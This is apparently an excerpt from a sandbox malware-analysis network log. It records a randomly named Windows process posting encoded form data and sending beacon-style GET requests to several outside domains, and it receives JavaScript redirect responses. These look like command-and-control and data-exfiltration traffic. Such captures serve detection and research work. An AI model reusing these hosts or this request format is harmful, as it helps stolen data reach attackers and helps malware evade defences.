Nov 7, 2024 15:28:11.150594950 CET	1790	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 48 71 55 76 54 74 55 6c 4b 6c 38 58 48 44 52 51 77 62 48 6e 33 4a 43 33 2b 39 4f 47 75 79 32 6f 51 79 4b 45 6e 79 45 77 70 6d 72 54 61 39 6d 35 61 79 7a 42 65 61 46 2f 64 43 42 69 51 42 71 55 75 4b 6b 2b 76 69 4e 4a 70 6a 6e 6f 4a 74 4e 48 63 50 37 64 4b 67 58 78 47 52 4f 48 4d 6b 43 6d 71 41 47 6c 53 47 39 62 44 34 4d 46 4c 65 76 61 72 65 51 63 57 6c 42 72 55 62 6f 69 53 30 48 4a 42 59 78 50 4e 52 6f 4d 38 36 51 63 70 32 6f 46 46 2b 4a 72 6e 77 45 55 30 63 63 4d 4a 5a 6c 48 78 51 35 47 4f 6b 49 6d 37 31 58 64 76 35 6b 46 31 77 72 59 6c 46 32 5a 6d 77 2f 39 69 37 41 69 4d 6a 38 75 37 58 50 63 63 75 37 45 5a 2b 54 79 55 58 73 4b 66 2b 70 6b 78 76 72 44 63 65 78 61 56 52 61 6c 54 58 6d 68 46 58 67 48 30 74 6f 35 6c 70 6c 78 47 6a 61 35 2b 7a 4d 52 4b 37 30 64 69 4d 51 70 31 49 74 30 4d 68 69 46 6c 45 6d 64 55 75 72 56 72 32 69 53 68 65 2b 75 4f 7a 78 47 66 44 37 37 4c 72 65 6c 57 2b 4e 79 46 62 31 73 42 31 75 31 33 58 44 64 47 52 76 50 77 76 6e 73 39 48 [TRUNCATED] Data Ascii: F2=LloplUxxKxeX8HqUvTtUlKl8XHDRQwbHn3JC3+9OGuy2oQyKEnyEwpmrTa9m5ayzBeaF/dCBiQBqUuKk+viNJpjnoJtNHcP7dKgXxGROHMkCmqAGlSG9bD4MFLevareQcWlBrUboiS0HJBYxPNRoM86Qcp2oFF+JrnwEU0ccMJZlHxQ5GOkIm71Xdv5kF1wrYlF2Zmw/9i7AiMj8u7XPccu7EZ+TyUXsKf+pkxvrDcexaVRalTXmhFXgH0to5lplxGja5+zMRK70diMQp1It0MhiFlEmdUurVr2iShe+uOzxGfD77LrelW+NyFb1sB1u13XDdGRvPwvns9HDdClK9ekXCnPkne3Zvo8qh4MgXezQTVbqdfutNRcpOLVM0HPC3+eE+3XN2PzLCRa8EHfWkjlMH9w4sfYKSk8IY4/ZXYweTpD9qU0qBvDX2nyg8vMYE/nJL6/Ys9k6Xk7iexwVXyHNsYLlkWF/fEMqICsEHm0m2CEGjver9tTUE9CWT3A/DRMPMLKyRdufb4Gv/BtDz7Fo4pTv/x0mOLbq67yCZ6cStX5I9ZhQI4jSyNotY/frfbfgHz86PBtG3zIpvZzTRwyedN9zjTx+sNujogkqzjJ1dHRIxcx2o79jh1b2PaNgwsYy+UjHE3046zjEj7RSvZL6kspBVhQHqqIWNN1GRfZ8YHuVb2Ca5EU+t1qeNmlvj4JzNSCV/rGOldKlduvI9JNWZaU7DD1UiV5SxBIKXh88AhPDWPMP5U8Zq4jMLsCfMFhJGLdnd4Yw9LG8MvoTi6uSwGRDv1YCDB7F28Zxc5otxIz9kgaRzCCdzH9GjSdZtnuTQELQzA87rL0IrDLFuNdlwChcNFN1PjKd+K4XP6XiZNsvR6l5RWCwH+yiOjX7kV6Le9c8X0vYARkWMtSFiGJMDoyt14B295ckUa/ejymuTYHkl2Q8JFbgWIgNYZ2SHn2KW/4W1fZ6lXjhpVbch5vtQXf3r9wPu2y2SSUNQiTXL//NT [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49775	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:13.693474054 CET	486	OUT	GET /abrg/?F2=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CXoS/lp19JNeFf5Feq2s9J88WlfAexgO/UytfAJO4SOXJGQ==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:28:14.356386900 CET	404	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 14:28:14 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 46 32 3d 47 6e 41 4a 6d 69 52 50 50 69 79 48 32 54 6d 66 75 42 56 6e 73 5a 6f 58 64 47 66 30 46 55 50 46 79 53 67 51 68 74 56 4f 4d 34 47 77 6e 44 71 39 44 6e 76 68 39 65 50 43 57 59 74 4a 78 4c 4c 41 55 2b 79 47 30 64 32 63 32 56 38 35 59 4d 69 46 33 75 2b 43 58 6f 53 2f 6c 70 31 39 4a 4e 65 46 66 35 46 65 71 32 73 39 4a 38 38 57 6c 66 41 65 78 67 4f 2f 55 79 74 66 41 4a 4f 34 53 4f 58 4a 47 51 3d 3d 26 73 48 53 3d 35 34 33 68 41 70 77 48 44 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?F2=GnAJmiRPPiyH2TmfuBVnsZoXdGf0FUPFySgQhtVOM4GwnDq9Dnvh9ePCWYtJxLLAU+yG0d2c2V85YMiF3u+CXoS/lp19JNeFf5Feq2s9J88WlfAexgO/UytfAJO4SOXJGQ==&sHS=543hApwHD"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49807	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:19.442677021 CET	771	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 64 72 32 52 72 59 46 6c 44 50 70 4e 79 4d 42 65 72 46 71 78 4a 37 63 4d 54 73 71 58 65 7a 61 2b 6c 41 41 46 6f 68 67 4b 45 59 63 58 56 2f 61 50 33 4b 51 50 39 68 6d 33 68 6b 31 61 64 64 4f 30 50 68 6e 52 31 59 4b 57 57 39 52 57 34 36 46 32 48 46 31 38 76 53 62 64 72 37 56 67 2b 42 43 4f 6c 73 69 74 76 4c 63 2b 59 48 41 4e 4b 78 41 34 74 31 48 6f 56 6c 78 59 36 35 32 73 6d 53 5a 4c 45 51 76 69 53 42 6e 67 70 36 67 42 65 4e 66 6e 61 75 4b 43 37 74 61 67 69 7a 35 37 45 56 4b 4b 30 59 6f 39 69 6f 57 77 41 73 4d 4d 42 59 41 6f 63 74 74 49 45 63 63 79 68 38 3d Data Ascii: F2=gu6he7xKy/oLfdr2RrYFlDPpNyMBerFqxJ7cMTsqXeza+lAAFohgKEYcXV/aP3KQP9hm3hk1addO0PhnR1YKWW9RW46F2HF18vSbdr7Vg+BCOlsitvLc+YHANKxA4t1HoVlxY652smSZLEQviSBngp6gBeNfnauKC7tagiz57EVKK0Yo9ioWwAsMMBYAocttIEccyh8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49822	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:21.994709969 CET	791	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 38 62 32 51 4d 6b 46 6e 6a 50 75 44 53 4d 42 58 4c 46 75 78 4a 48 63 4d 52 41 36 58 73 6e 61 77 67 38 41 45 72 35 67 4c 45 59 63 59 31 2f 62 46 58 4c 53 50 39 64 55 33 6a 77 31 61 64 5a 4f 30 4c 6c 6e 52 47 77 4a 45 57 39 54 44 49 36 48 79 48 46 31 38 76 53 62 64 6f 47 36 67 2b 70 43 4f 56 38 69 69 75 4c 66 68 6f 48 50 46 71 78 41 75 74 31 44 6f 56 6c 66 59 2b 35 49 73 6a 57 5a 4c 46 41 76 69 44 42 67 72 70 36 6d 63 75 4d 52 68 37 66 61 4b 35 78 66 69 53 6e 61 7a 58 52 38 43 69 31 43 6e 41 67 51 7a 41 45 6e 4d 43 77 32 74 72 77 46 53 6e 4d 73 73 32 71 4c 74 41 34 4f 37 34 45 6a 65 4d 69 56 63 6a 62 5a 70 43 69 51 Data Ascii: F2=gu6he7xKy/oLf8b2QMkFnjPuDSMBXLFuxJHcMRA6Xsnawg8AEr5gLEYcY1/bFXLSP9dU3jw1adZO0LlnRGwJEW9TDI6HyHF18vSbdoG6g+pCOV8iiuLfhoHPFqxAut1DoVlfY+5IsjWZLFAviDBgrp6mcuMRh7faK5xfiSnazXR8Ci1CnAgQzAEnMCw2trwFSnMss2qLtA4O74EjeMiVcjbZpCiQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49838	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:24.540694952 CET	1808	OUT	POST /itly/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Origin: http://www.childlesscatlady.today Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.childlesscatlady.today/itly/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 67 75 36 68 65 37 78 4b 79 2f 6f 4c 66 38 62 32 51 4d 6b 46 6e 6a 50 75 44 53 4d 42 58 4c 46 75 78 4a 48 63 4d 52 41 36 58 73 2f 61 77 53 6b 41 46 4b 35 67 49 45 59 63 56 56 2f 65 46 58 4c 54 50 35 4a 51 33 6a 74 43 61 66 52 4f 32 75 78 6e 58 33 77 4a 65 47 39 54 63 59 36 61 32 48 46 67 38 76 69 68 64 6f 57 36 67 2b 70 43 4f 54 34 69 72 66 4c 66 79 34 48 41 4e 4b 78 32 34 74 31 6e 6f 56 74 70 59 2b 74 59 74 58 69 5a 4c 6b 77 76 6b 31 31 67 30 5a 36 6b 64 75 4e 4d 68 37 53 41 4b 35 74 35 69 53 54 67 7a 58 70 38 53 31 46 66 6a 79 78 47 69 77 51 41 49 31 6b 63 6f 62 49 38 51 58 59 38 76 6c 79 62 74 77 78 68 35 4b 45 30 65 62 2b 5a 41 43 62 72 67 53 62 38 2f 78 69 35 70 5a 33 72 44 58 48 56 6e 37 6f 4a 58 73 36 54 59 70 48 71 52 61 50 65 44 56 37 31 58 68 55 35 4f 66 2f 42 42 4d 35 73 30 61 65 72 31 47 5a 70 79 5a 53 46 69 76 61 43 6e 4d 64 6e 2f 37 74 42 33 53 78 65 77 46 75 51 4e 61 62 41 38 59 78 41 38 75 48 6a 77 66 35 4f 66 66 56 36 4d 57 4f 34 48 59 4c 65 44 34 31 43 79 73 44 43 64 38 50 [TRUNCATED] Data Ascii: F2=gu6he7xKy/oLf8b2QMkFnjPuDSMBXLFuxJHcMRA6Xs/awSkAFK5gIEYcVV/eFXLTP5JQ3jtCafRO2uxnX3wJeG9TcY6a2HFg8vihdoW6g+pCOT4irfLfy4HANKx24t1noVtpY+tYtXiZLkwvk11g0Z6kduNMh7SAK5t5iSTgzXp8S1FfjyxGiwQAI1kcobI8QXY8vlybtwxh5KE0eb+ZACbrgSb8/xi5pZ3rDXHVn7oJXs6TYpHqRaPeDV71XhU5Of/BBM5s0aer1GZpyZSFivaCnMdn/7tB3SxewFuQNabA8YxA8uHjwf5OffV6MWO4HYLeD41CysDCd8PybYr5vjKac2COWL1e9Mey4op2QXkxSOgHBjGV0dxDOunrOUZhy14ccn2s2f6+dbMpsKMvbFVPmSH8kJu31YBWZ4Yk6UwSuP+YVjb9FGDHdBkK40YMD0DqGwTpih+mp4O+905ciB7+pCAnifmjihLJoW81uAgO1rcindtd9+kuPIdOc9piU+dfJr8MY5LQsD8Rg7yw1s3aTecy50Y2iPWEi+EiuA2kIJEGHq7IFJH7rtb6cIzVtkXpCIUUdla0yCCG6LtEXgx+luRaakgl3w/Ph7RlszlophawLmy2v/XTGTfD7+IMdsjY8c7C3oFbwey1gr/5CLx1qZ/apn+T27RqRy+4PvHglwZVSgkde/htWJi5cGyTeslfZYTmMvfWngfrw2IxSAl1+1Psb3HImw4doCvvGAnHo8oSv/AFHgPxGBOOCEsL8NoRL8w1c9eD1sjBs3Wk/W1hOzWNmIoYy3hofLqztlQLqprN+k1JJ4G8WmjGbfOl+uITMETYPLgGwtdFXS0LABkgbrsgN4etyzU/w/QAlLNnWJrySVSY4dALlnd0bIi+PEt1NFMzAE4nJA4JlF/cqBX4H94ftm7q0ZY9cl9uzdawF09CYg93H6vtTxfyWeNoNZY+B/ox2+6SqnFNhuIDCmBBLBuNBsk9sjFrnQVpB0RjK9gh1 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49851	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:27.083715916 CET	492	OUT	GET /itly/?F2=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouFUFoXNGv3nAP+8PLYYLXnvdwJlki1+XL6LziD5lvjPEK7Q==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.childlesscatlady.today Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:28:27.743560076 CET	404	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 14:28:27 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 46 32 3d 74 73 53 42 64 4c 41 36 67 76 38 34 59 38 47 63 59 75 67 2f 6a 44 43 79 43 77 38 59 4c 59 78 43 6c 5a 53 69 4f 41 30 47 58 4b 6e 57 38 43 73 75 45 62 51 39 59 46 77 66 61 47 50 53 4a 6c 57 63 50 5a 6c 56 32 54 64 70 4f 50 51 77 77 38 74 64 53 54 6f 75 46 55 46 6f 58 4e 47 76 33 6e 41 50 2b 38 50 4c 59 59 4c 58 6e 76 64 77 4a 6c 6b 69 31 2b 58 4c 36 4c 7a 69 44 35 6c 76 6a 50 45 4b 37 51 3d 3d 26 73 48 53 3d 35 34 33 68 41 70 77 48 44 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?F2=tsSBdLA6gv84Y8GcYug/jDCyCw8YLYxClZSiOA0GXKnW8CsuEbQ9YFwfaGPSJlWcPZlV2TdpOPQww8tdSTouFUFoXNGv3nAP+8PLYYLXnvdwJlki1+XL6LziD5lvjPEK7Q==&sHS=543hApwHD"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49955	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:47.170686007 CET	750	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 70 7a 4f 79 55 78 2f 6f 45 67 75 76 79 30 75 41 38 46 42 63 6f 2b 77 6d 4a 53 41 74 4f 47 5a 71 6e 64 64 79 67 6d 38 41 54 4c 6a 6e 2b 39 4c 46 56 62 76 64 47 39 7a 76 70 32 46 62 5a 6e 57 59 39 76 4c 44 4a 67 77 73 6e 42 4c 75 31 4f 62 47 32 5a 74 35 6f 75 2f 65 55 76 4b 64 49 6a 67 74 36 5a 44 49 66 38 68 6d 6d 2f 6a 55 33 34 49 75 4c 65 77 6a 44 34 44 62 38 6d 76 72 76 4c 76 5a 72 49 58 4a 6e 43 62 70 73 55 31 6f 6b 79 57 4c 58 36 61 4e 78 6a 71 6c 63 4d 38 53 51 6d 48 4e 35 6a 72 68 4f 54 57 74 37 4d 2f 37 6b 59 4b 63 43 57 44 30 32 2f 53 39 39 2b 49 3d Data Ascii: F2=H+5bRSq0NrhhpzOyUx/oEguvy0uA8FBco+wmJSAtOGZqnddygm8ATLjn+9LFVbvdG9zvp2FbZnWY9vLDJgwsnBLu1ObG2Zt5ou/eUvKdIjgt6ZDIf8hmm/jU34IuLewjD4Db8mvrvLvZrIXJnCbpsU1okyWLX6aNxjqlcM8SQmHN5jrhOTWt7M/7kYKcCWD02/S99+I=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49969	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:49.732711077 CET	770	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 6f 54 65 79 58 51 2f 6f 55 77 75 73 72 30 75 41 32 6c 42 51 6f 2b 38 6d 4a 54 30 39 4f 7a 4a 71 6e 38 74 79 68 69 67 41 61 62 6a 6e 31 64 4c 63 49 72 75 54 47 39 2f 52 70 7a 39 62 5a 6e 43 59 39 75 58 44 4f 58 4d 72 6f 78 4c 73 34 75 62 45 79 5a 74 35 6f 75 2f 65 55 73 32 33 49 6c 49 74 6d 35 54 49 5a 64 68 6c 6c 2f 6a 62 79 34 49 75 61 4f 77 76 44 34 44 31 38 69 75 38 76 49 58 5a 72 4d 54 4a 67 58 6e 75 6c 55 31 75 71 53 58 31 59 2f 6e 68 76 52 6d 43 53 66 51 77 59 47 44 47 38 56 47 4c 55 78 65 72 34 4d 58 51 6b 62 69 71 48 68 65 63 73 63 43 4e 6a 70 64 5a 46 53 63 64 49 6a 43 4d 4f 31 57 7a 32 61 45 45 33 43 51 61 Data Ascii: F2=H+5bRSq0NrhhoTeyXQ/oUwusr0uA2lBQo+8mJT09OzJqn8tyhigAabjn1dLcIruTG9/Rpz9bZnCY9uXDOXMroxLs4ubEyZt5ou/eUs23IlItm5TIZdhll/jby4IuaOwvD4D18iu8vIXZrMTJgXnulU1uqSX1Y/nhvRmCSfQwYGDG8VGLUxer4MXQkbiqHhecscCNjpdZFScdIjCMO1Wz2aEE3CQa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49981	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:52.278417110 CET	1787	OUT	POST /szy7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Origin: http://www.doggieradio.net Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.doggieradio.net/szy7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 48 2b 35 62 52 53 71 30 4e 72 68 68 6f 54 65 79 58 51 2f 6f 55 77 75 73 72 30 75 41 32 6c 42 51 6f 2b 38 6d 4a 54 30 39 4f 77 70 71 6e 75 31 79 67 44 67 41 41 62 6a 6e 34 39 4c 5a 49 72 75 65 47 38 58 4e 70 7a 35 68 5a 6c 36 59 37 4d 7a 44 50 6a 59 72 7a 42 4c 73 6b 65 62 46 32 5a 74 57 6f 75 76 61 55 73 6d 33 49 6c 49 74 6d 38 66 49 5a 4d 68 6c 6a 2f 6a 55 33 34 4a 68 4c 65 77 4c 44 34 62 44 38 69 69 73 76 34 33 5a 73 6f 33 4a 6c 68 7a 75 6e 30 31 73 70 53 58 39 59 2f 6a 2b 76 52 36 6b 53 65 6b 4b 59 45 44 47 2f 42 54 73 49 56 71 6f 37 75 48 2f 6b 35 2f 4d 63 47 75 67 79 65 57 78 70 75 39 4c 43 44 73 36 48 6a 65 66 62 33 6e 42 68 63 77 51 78 32 35 4e 58 74 72 6c 78 71 79 4f 51 2f 62 46 56 6b 77 38 6f 6d 61 52 62 79 71 47 61 7a 78 49 62 49 51 6a 54 68 31 4f 39 69 32 39 35 59 4d 4d 6a 56 61 51 32 34 6e 54 54 31 67 77 32 63 59 34 38 76 5a 68 31 49 59 64 51 63 74 41 7a 51 48 42 36 42 73 4b 6f 7a 4d 38 75 41 7a 67 2b 7a 70 42 44 53 43 79 72 4e 77 2b 70 51 69 50 70 50 78 68 66 36 32 44 64 54 41 [TRUNCATED] Data Ascii: F2=H+5bRSq0NrhhoTeyXQ/oUwusr0uA2lBQo+8mJT09Owpqnu1ygDgAAbjn49LZIrueG8XNpz5hZl6Y7MzDPjYrzBLskebF2ZtWouvaUsm3IlItm8fIZMhlj/jU34JhLewLD4bD8iisv43Zso3Jlhzun01spSX9Y/j+vR6kSekKYEDG/BTsIVqo7uH/k5/McGugyeWxpu9LCDs6Hjefb3nBhcwQx25NXtrlxqyOQ/bFVkw8omaRbyqGazxIbIQjTh1O9i295YMMjVaQ24nTT1gw2cY48vZh1IYdQctAzQHB6BsKozM8uAzg+zpBDSCyrNw+pQiPpPxhf62DdTAsHqY6kdxYHnj88j3Lfpa1qb6rGXC+ehwxDY1WMB8gisqO9pldoBrhxK3wL2S/M5KwnvgRgYGjmAuWPDexErOuXbqGhoSw8FpYC3NTCymOWo8akkb6+bjcriiA3N4PRpiYBx+d5SjWmZXg9MvmNwn0mS342Dd8YwaI8h0sJzOC1xVpe1Jdgtvjybc4XYLM5+G32vYkhgEoMQc18nmQE0sN9nmjJxSUraLytuQTp2yGdUHZTaAyeWnN8X8zNgB2N4kQSwa4DlptbRpUzFIrym5C4sa9KnYXnA5VDsAy3Cl4GHK+A29oNlfEa5/FUr2bxNZzxhORbfh6ooVZlg2Vv1ZKmGoOKLJVkVvfNp0ykCeMUJ7BK4PYZt8vRpMsMzfOO29Bp6Yk24KOQ20QmWMmrDj9FJwO41t0+XBJ6dwgeKdknGDsb7RPxlF9p3RLdw0fNhy3nt3Qe6bdWhpQV32UTgtwSeNklk1nNztzYVGxNBwNM1HDOLxIuAHH+c0QudfoVJkzqJUFLLjjq/pvii2/Bowe96tGdFh3HRwyTDx6XJT3lVRz+bs6kHFKymbPAnRZbkcHQVWOl7h7xdo/9XGen31v7JFnHWRTXTXD7ghXvxRwp8mVUrGWpEgI567m7cb92yTEWLtaaaYFk4BqsMeKA/JROOcJEGiG1cdUe [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49993	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:54.822185993 CET	485	OUT	GET /szy7/?F2=K8R7SnSfb7dli3eXRAD3SnntsVSSj1ZCjsRlCzIsDWJUxclcgzVYTq7f6N7/UKjTBpPX3WVoPH/v0tj5Dmk2zyO1xKTiz6oBrNu4Rs3SGBcTrpTqDeJ9pPLW36ghW+11Rw==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.doggieradio.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
